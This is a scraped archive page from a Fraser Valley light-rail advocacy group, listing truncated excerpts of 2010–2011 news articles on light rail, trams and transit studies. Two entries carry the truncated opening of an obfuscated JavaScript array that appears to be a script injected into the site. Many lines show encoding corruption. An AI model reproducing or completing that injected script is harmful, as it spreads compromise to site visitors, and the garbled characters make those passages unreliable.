http://www.dr.dk/Nyheder/Indland/2011/01/20/220647.htm
Ai??
The Light Rail line will pass through ten muni...

ChesterFirstAi??
Published date: 24 January 2011 | Published by: Laura Jones
http://www.chesterfirst.co.uk/news/98061/grand-plan-to-bring-tram-system-to-chester.aspx
MAJOR plans to extend a tram network from Manchester to Chester will be presented to...

http://www.independent.co.uk/travel/news-and-advice/hybrid-tram-goes-live-in-us-city-2191448.html
The world has hybrid cars, hybrid buses and even hybrid boats - and now it has a hybrid tram (streetcar), unveiled this week in a US city.
The patriotical...

By Daniel van der Kroon, UFV Students for Sustainability
Original article can be viewed here:Ai??http://www.footprintpress.ca/2011/01/winter-2011-issue-of-the-footprint-press/
var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E",...

Light rail advocates take aim at province's transit plan for Fraser Valley
BY FRANK LUBA, THE PROVINCE JANUARY 11, 2011
A citizensA?ai??i??ai??? group from the Fraser Valley believe the provincial government is off track with its plan to provide public...

Bus-boosting study stacked deck against Valley trains: critic
Critics with Rail For The Valley say the province's transit review concentrated on heavy rail service like the West Coast Express, rather than accurately costing out a modern light rail opti...

Units not crucial for good public transport, study finds
Andrew West, January 5, 2011
RESIDENTS of Australia's outer suburbs do not have to wait for higher housing densities before getting better public transport, according to new research, ...

Itai??i??s traditional for the media and bloggers alike to wrap up the retreating year or welcome in the New Year with a retrospective of all that was bad, depressing, frustrating, good, humorous, irritating, scandalous or just plain bizarre in the twe...

Study goes off the rails
BY PAUL J. HENDERSON, THE TIMES DECEMBER 21, 2010
Proponents of the inter-urban rail line from Chilliwack to Surrey are critical of some of the assumptions underlying the provincial government's Fraser Valley Transit Study (FVT...

Bus vs trains
Transit study favours buses over rail
BY ROCHELLE BAKER, THE TIMES DECEMBER 21, 2010
A much anticipated study about the future of transit in the Fraser Valley has been released, and it favours expanding bus routes over re-establishing the...

Buses may patch Fraser Valley transit gap, but will they fix it?
By DON CAYO 21 DEC 2010
Filed under: transit, TransLink
More buses A?ai??i??ai??? a lot more A?ai??i??ai??? are the best bet for commuters in the fast-growing Fraser Valley, according to ...

Study: not enough demand for rail service to Fraser Valley
The province will use this information to plan transit projects to the Fraser Valley over the next 25 years
Jesse Johnston Dec 17, 2010 13:24:22 PM
VANCOUVER (NEWS1130) - The province says new...

December 27, 2010
JJ Sutherland, National Public Radio http://www.npr.org/
It's hard to find a city in America that isn't planning, proposing, studying or actually building a light rail system. Cities as diverse as Dallas, Seattle and Washing...

Mulhouse tram train ready : On December 12, 2010, ai???the first inter-connected tram-train of Franceai??? will enter into service. The public will be able to preview the new line from the afternoon Saturday 11th when there will be free travel on the ...

American style Tea Party politician andAi??Toronto's new mayor Rob Ford, is taking the TTC back 50 years or more by forcing the TTC to build new subways, instead of much cheaper light rail. Ford is just mimicking the same bleat that AmericanAi??politic...

Surrey's main issue is simple: better transit
Seven of every 10 people moving to the region in the next 30 years will settle south of the Fraser
BY KELLY SINOSKI, VANCOUVER SUN NOVEMBER 20, 2010
Light rail and streetcars will be the talk of Surrey over...

Surrey considers paying its own fare for better transit
BY KELLY SINOSKI, VANCOUVER SUN NOVEMBER 5, 2010
Surrey plans to make a stronger case for light rail and streetcar service, and may even consider footing part of the bill if cash-strapped TransLin...

Stephanie Ryan: Surrey should hold referendum on light rail transit in 2011
By Stephanie Ryan, November 5, 2010
Surrey residents were invited to ai???be part of the planai??? as TransLink held public consultation sessions on various technology options ...

Centenarian ready to roll
The Times October 8, 2010
On Oct. 3, 1910, the first Interurban train rolled down the track from New Westminster to Chilliwack.
Over the next four decades, it was the main transportation link for people in the new rural commun...

Pivotal transit study still stalled at provincial level
Further delays could impact local budgets
By Rochelle Baker, The Times October 22, 2010 8:05 AM
Fraser Valley politicians are growing increasingly impatient as they wait on the provincial governme...

Premier's transit pitch hard to swallow
By Brian Lewis, The Province October 7, 2010 Comments (6)
A mother shoving cod liver oil down her child's throat in the belief it's a good health remedy A?ai??i??ai??? even though it tastes bad A?ai??i??ai??? is ...

Foot-dragging feds slow train service to Seattle
By Jon Ferry, The Province October 18, 2010 Comments (6)
The news that Ottawa has finally approved the operation of a second daily train between Vancouver and Seattle for another year is a relief to all ...

Time to seriously look at rail
The Times October 8, 2010
On Oct. 3, 1910, the first Interurban train rolled down the track from New Westminster to Chilliwack.
Over the next four decades, it was the main transportation link for people in the new rural c...

Video Clip: Rail for the Valley (02:58)
John Vissers from Rail for the Valley joins BT to discuss the possibility of commuter trains going out to Chilliwack.
via Rail for the Valley - Breakfast Television Vancouver - Citytv Video Portal.
var _0x446d=["...

Editorial A?ai??i??ai??? Speed up transit decisions
Published: October 05, 2010 10:00 AM
Updated: October 05, 2010 10:01 AM
Premier Gordon Campbell stated on Friday that SkyTrain will eventually be extended to Langley.
In his speech to the Union of B.C...

Study lauds light rail
Light trains can carry South of the Fraser commuters, a new consultant's report suggests.
By Christina Toth and Heather Colpitts, Postmedia Network Inc. September 24, 2010
One hundred years after the Interurban rail wound its way...

Report supports light rail
'An honest accounting' of the potential transit system
By Christina Toth, The Times September 21, 2010
Light rail proponents are optimistic about having passenger service return to the Fraser Valley after the release of a fea...

Mayor remains mum on latest rail system study
By Tyler Olsen, The Times September 24, 2010
Fraser Valley rail activist John Vissers hopes an in-depth report that bills the capital costs of a rail connection between Chilliwack and Surrey at $500 million...

Report supports valley light rail
By Christina Toth, The Times September 24, 2010
One hundred years after the Interurban rail wound its way across the Fraser Valley, light rail proponents are optimistic the passenger service can make a comeback after t...

Regional transportation needs 'holistic' approach
By Katie Bartel - Chilliwack Progress
Published: September 24, 2010 1:00 PM
Updated: September 24, 2010 1:38 PM
As much as a light rail service could benefit the Fraser Valley, it's not the be all end a...

COLUMN: We should get on track
By Frank Bucholtz - Surrey North Delta Leader
Published: September 23, 2010 2:00 PM
Updated: September 23, 2010 2:42 PM
A study looking at resurrecting rail passenger service along the former interurban line needs to rece...

Valley residents on track with light rail
By Elizabeth James, Special To North Shore News September 22, 2010
"It's nice to have a Cadillac like the Canada Line, but the cost is prohibitive. If we're ever to get the connectivity which ...

Valley light rail all go, twin groups claim
By Brian Lewis, The Province September 21, 2010
Advocates for reintroducing light-rail transit to the Fraser Valley along the old Inter-Urban route were building up a fresh head of steam on two fronts Monday....

Commuter rail service to the Valley is affordable - study
Ninety-eight kilometres of light rail service for 500 million dollars
John Streit Sep 22, 2010 02:43:36 AM
7 Comment(s)
1 Recommendation(s)
VANCOUVER (NEWS1130) - Get people out of their cars an...

More ammo for light rail service through Valley
By Jeff Nagel - BC Local News
Published: September 21, 2010 1:00 PM
Updated: September 21, 2010 6:07 PM
A new Chilliwack-to-Surrey light rail line could whisk passengers from deep in the Fraser Valley to ...

Rail For The Valley puts squeeze on city
By Robert Freeman - Chilliwack Progress
Published: July 07, 2010 8:00 AM
Updated: July 07, 2010 9:20 AM
Chilliwack is the only municipality in the Lower Mainland not on board a task force lobbying for a communit...

Here we have another sad example of a motorist ignoring railway signals and driving into the path of a passenger train, with tragic results. Rail For The Valley must deal with two issues before the reinstatement of the interurban.
1) Before any interu...

Archived Articles:

Since we formed in July 2007, people who agree with Rail for the Valley have been writing manyAi??Letters to the Editor of our local newspapers.Ai??Itai??i??s workingai??i?? The Rail for the Valley movement has been getting a lot of press!